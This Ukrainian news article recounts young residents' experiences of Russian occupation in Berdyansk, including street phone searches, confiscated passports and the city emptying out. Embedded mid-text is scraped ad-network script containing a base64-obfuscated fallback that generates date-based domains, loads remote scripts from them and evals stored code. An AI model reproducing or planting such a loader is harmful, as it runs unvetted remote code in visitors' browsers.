Молодь, що виїхала з Бердянську розповідає про останні місяці життя в окупації й ставленні російських військових.
Вісімнадцятирічна Олена цього літа планувала вступати до Таврійського державного агротехнологічного університету. Дівчина вже уявляла своє щасливе студентське життя. Всі її мрії зруйнувала російська армія, яка окупувала і її рідний Бердянськ, і Мелітополь…
Ця компанія молодих бердянців провела в окупованому місті майже пів року. Замість того, аби насолоджуватись молодістю та літом вони активно допомагали людям похилого віку дістати продукти чи вирішили якісь питання. Та з сумом спостерігали за тим, як змінюється рідне місто.
«Вдень в місті ще можна зустріти людей. Йдуть за продуктами чи по справах, ніхто ні з ким не говорить. Навіть не дивляться один на одного. Але тільки справа заходить до заходу сонця – місто стає пустим. Бачити таким літній Бердянськ – не просто сумно, а й страшно».
Перед кожним виходом на вулицю люди змушені повністю «чистити» телефони. Якось Михайло не помітив і лишив один із українських новинних каналів. При черговому огляді на вулиці його телефон взяв російський солдат. Побачивши там стрічку новин про «орків» розізлився і порадив «не читати х*йню».
«Він почав мені розповідати, що в наших новинах пишуть неправду, що вони боряться з нацизмом і ми маємо бути вдячні за те, що їх армія не бомбить наші будинки. Я мовчав, бо розумів, що обійтись лекцією з пропаганди – найкраще, що може бути зі мною в цій ситуації. Наступного разу я побоявся брати з собою телефон, однак це було гіршим рішенням. При огляді на вулиці вони сказали, щоб нічого від них не ховали, вони мають оглядати все і «хочешь жить – носи с собой телефон».
Друзі кажуть, що зараз Бердянськ більше схожий не на перлину Азова, а на бандитський осередок. Місто заповнене людьми зі зброєю, яких назвати військовими – складно. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
«Зараз улюблене місце російських військових – це літні «пивнухи». Вони їх просто заполонили. Постійно п’яні, в якомусь дранті, «шльопках». Ганяють по місту як на військових, так і на цивільних машинах. Бачиш, мчить по зустрічній БМВ без номерів – значить віджали в наших машину.»
Люди, що залишились у Бердянську і не підтримують окупаційну владу знаходяться у постійному страху. Містом ширяться різні чутки, провірити більшість з них у людей просто немає можливісті бо ні нормального зв’язку, ні інтернету – немає.
«Люди крадькома передають один одному новини по «сарафанному радіо», збиратись разом бояться. В травні наші друзі сиділи в кав’ярні пили каву, військові зайшли «перевірити» документи і просто забрали їх паспорти. Сказали, що віддадуть лише коли ті прийдуть на парад до 9 травня…»
З кожним днем місто пустішає. Все більше людей просто не витримує ті дикі умови, в яких опинились і покидають свої домівки.
«Практично всі наші друзі роз’їхались ще давно. Молоді в місті взагалі не лишилось, не знаю де вони збирають масовки для своїх пропагандистських заходів і відео. Наша молодь – обирає Україну. Тому повернемось в рідне місто разом із нею».
Джерело: Бердянський міський виконком. (adsbygoogle = window.adsbygoogle || []).push({});
Підписуйтесь на Акцент в 
Источник: https://akzent.zp.ua/misto-stalo-pustim-yak-zhive-molod-berdyansku-v-umovah-okupatsiyi/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
